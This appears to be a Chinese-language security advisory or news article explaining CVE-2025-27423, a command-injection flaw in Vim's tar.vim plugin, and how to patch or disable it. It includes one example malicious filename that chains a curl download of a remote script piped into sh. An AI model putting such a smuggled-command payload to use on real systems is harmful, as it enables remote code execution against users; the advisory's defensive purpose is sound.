Vim 編輯器漏洞:惡意 TAR 文件觸發(fā)代碼執(zhí)行風險
Vim 文本編輯器的漏洞 CVE-2025-27423 是一個高嚴重性問題,攻擊者可以通過惡意 TAR 文件實現(xiàn)任意代碼執(zhí)行。該漏洞影響 Vim 9.1.1164 之前的版本,涉及 tar.vim 插件,當用戶處理特制的 TAR 文件時,可能導致命令注入攻擊。該漏洞于 2025 年 3 月修復,暴露了文件處理流程中輸入驗證的關鍵缺陷。
攻擊機制詳解
tar.vim 插件自 2004 年起隨 Vim 標準版本發(fā)布,用戶無需手動解壓即可直接編輯 TAR 文件。然而,2024 年 11 月的更新(提交記錄 129a844)雖然增強了文件權限處理功能,卻意外引入了注入向量。
插件修改后的 :read 命令未能對從檔案元數(shù)據(jù)中提取的文件名進行清理,使攻擊者能夠在文件名中嵌入 shell 元字符,如 ;、| 或 &&。當用戶打開惡意 TAR 文件時,tar.vim 會使用未清理的文件名數(shù)據(jù)構建系統(tǒng)命令字符串。
例如,如果文件名為 legit_file.txt; curl http://malicious.site/payload.sh | sh,攻擊者的負載執(zhí)行命令會被附加到 Vim 的 :read 管道中。命令執(zhí)行依賴于用戶配置的 shell(由 Vim 的 shell 選項定義,默認值為 $SHELL),因此攻擊成功與否取決于 shell 是否支持命令鏈接。
該漏洞的 CVSSv4 評分為 8.1,屬于高嚴重性,需要用戶主動打開惡意檔案進行觸發(fā)。雖然明顯的文件名異常(例如文件名中包含分號)可能會引起警惕用戶的注意,但高級攻擊可以通過隱藏負載繞過檢測。
影響范圍與應對措施
該漏洞的影響不僅限于個人工作站。使用 Vim 進行日志檢查的開發(fā)環(huán)境、解析 CI/CD 流水線中的構件或自動化 vimdiff 檔案對比的系統(tǒng)都面臨較高的風險。GMO Flatt Security 分析師 Ry0taK 發(fā)現(xiàn)了這一漏洞。
為應對此問題,Vim 項目發(fā)布了 9.1.1164 版本,使用基于正則表達式的過濾對文件名進行嚴格清理。建議用戶立即采取以下措施:
- 通過官方包管理器升級 Vim(如 apt upgrade vim 或 brew update vim)。
- 使用命令 vim --version | grep 9.1.1164 確認安裝版本。
- 對于無法立即修補的系統(tǒng),可以通過在 ~/.vimrc 中添加 let g:loaded_tar = 1 禁用 tar.vim 插件。
此外,用戶可以將 shell 臨時設置為 /bin/dash,以限制其功能。作為最佳實踐,Vim 用戶應優(yōu)先更新并審核第三方插件,尤其是處理不受信任文件格式的插件。隨著供應鏈攻擊的日益復雜,開發(fā)者在 Vim 中訪問檔案的便利性需要更加謹慎。
目前,GitHub 上已出現(xiàn)漏洞的概念驗證利用,建議用戶持續(xù)監(jiān)控。雖然主流殺毒引擎已能檢測惡意 TAR 文件,但系統(tǒng)管理員仍需結合補丁與用戶教育,以識別可疑檔案內(nèi)容,構建多層防御體系,從而有效緩解社交工程攻擊的威脅。